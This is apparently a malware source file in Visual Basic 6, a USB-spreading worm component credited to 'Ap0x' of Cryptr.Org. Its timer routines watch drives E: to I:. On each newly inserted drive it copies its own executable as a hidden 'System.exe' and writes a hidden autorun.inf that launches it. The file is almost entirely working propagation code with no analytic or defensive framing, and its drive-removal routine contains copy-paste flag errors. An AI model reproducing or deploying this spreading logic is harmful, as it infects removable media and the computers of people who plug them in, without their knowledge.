Drive Spread USB Spread Cryptr.Org

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'_________                        __              _______                '
'\_   ___ \_______ ___.__._______/  |________     \   _  \_______  ____  '
'/    \  \/\_  __ <   |  |\____ \   __\_  __ \    /  /_\  \_  __ \/ ___\ '
'\     \____|  | \/\___  ||  |_> >  |  |  | \/    \  \_/   \  | \/ /_/  >'
' \______  /|__|   / ____||   __/|__|  |__|    /\  \_____  /__|  \___  / '
'        \/        \/     |__|                 \/        \/     /_____/  '
'                               Coded By Ap0x                            '
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

Dim E As Boolean
Dim F As Boolean
Dim G As Boolean
Dim h As Boolean
Dim I As Boolean

Private Sub Form_Load()
Timer1.Enabled = True
Timer2.Enabled = True

E = False
F = False
G = False
h = False
I = False

End Sub

Private Sub Timer1_Timer()

    If Dir("E:\") <> "" And E = False Then
        FileCopy App.Path & "\" & App.EXEName & ".exe", "E:\System.exe"
        Open "E:\autorun.inf" For Append As #1
        Print #1, "[autorun]"
        Print #1, "open=System.exe"
        Close #1
        SetAttr "E:\System.exe", vbHidden
        SetAttr "E:\autorun.inf", vbHidden
        E = True
    End If

    If Dir("F:\") <> "" And F = False Then
        MsgBox "USB IN DRIVE F."
        FileCopy App.Path & "\" & App.EXEName & ".exe", "F:\System.exe"
        Open "F:\autorun.inf" For Append As #1
        Print #1, "[autorun]"
        Print #1, "open=System.exe"
        Close #1
        SetAttr "F:\System.exe", vbHidden
        SetAttr "F:\autorun.inf", vbHidden
        F = True
    End If

    If Dir("G:\") <> "" And G = False Then
        FileCopy App.Path & "\" & App.EXEName & ".exe", "G:\System.exe"
        Open "G:\autorun.inf" For Append As #1
        Print #1, "[autorun]"
        Print #1, "open=System.exe"
        Close #1
        SetAttr "G:\System.exe", vbHidden
        SetAttr "G:\autorun.inf", vbHidden
        G = True
    End If

    If Dir("H:\") <> "" And h = False Then
        FileCopy App.Path & "\" & App.EXEName & ".exe", "H:\System.exe"
        Open "H:\autorun.inf" For Append As #1
        Print #1, "[autorun]"
        Print #1, "open=System.exe"
        Close #1
        SetAttr "H:\System.exe", vbHidden
        SetAttr "H:\autorun.inf", vbHidden
        h = True
    End If

    If Dir("I:\") <> "" And I = False Then
        FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\System.exe"
        Open "I:\autorun.inf" For Append As #1
        Print #1, "[autorun]"
        Print #1, "open=System.exe"
        Close #1
        SetAttr "I:\System.exe", vbHidden
        SetAttr "I:\autorun.inf", vbHidden
        I = True
    End If

End Sub

Private Sub Timer2_Timer()

    If Dir("E:\") = "" And E = True Then
        E = False
    End If

    If Dir("F:\") = "" And F = True Then
        F = False
    End If

    If Dir("G:\") = "" And G = True Then
        F = False
    End If

    If Dir("H:\") = "" And h = True Then
        F = False
    End If

    If Dir("I:\") = "" And I = True Then
        F = False
    End If

End Sub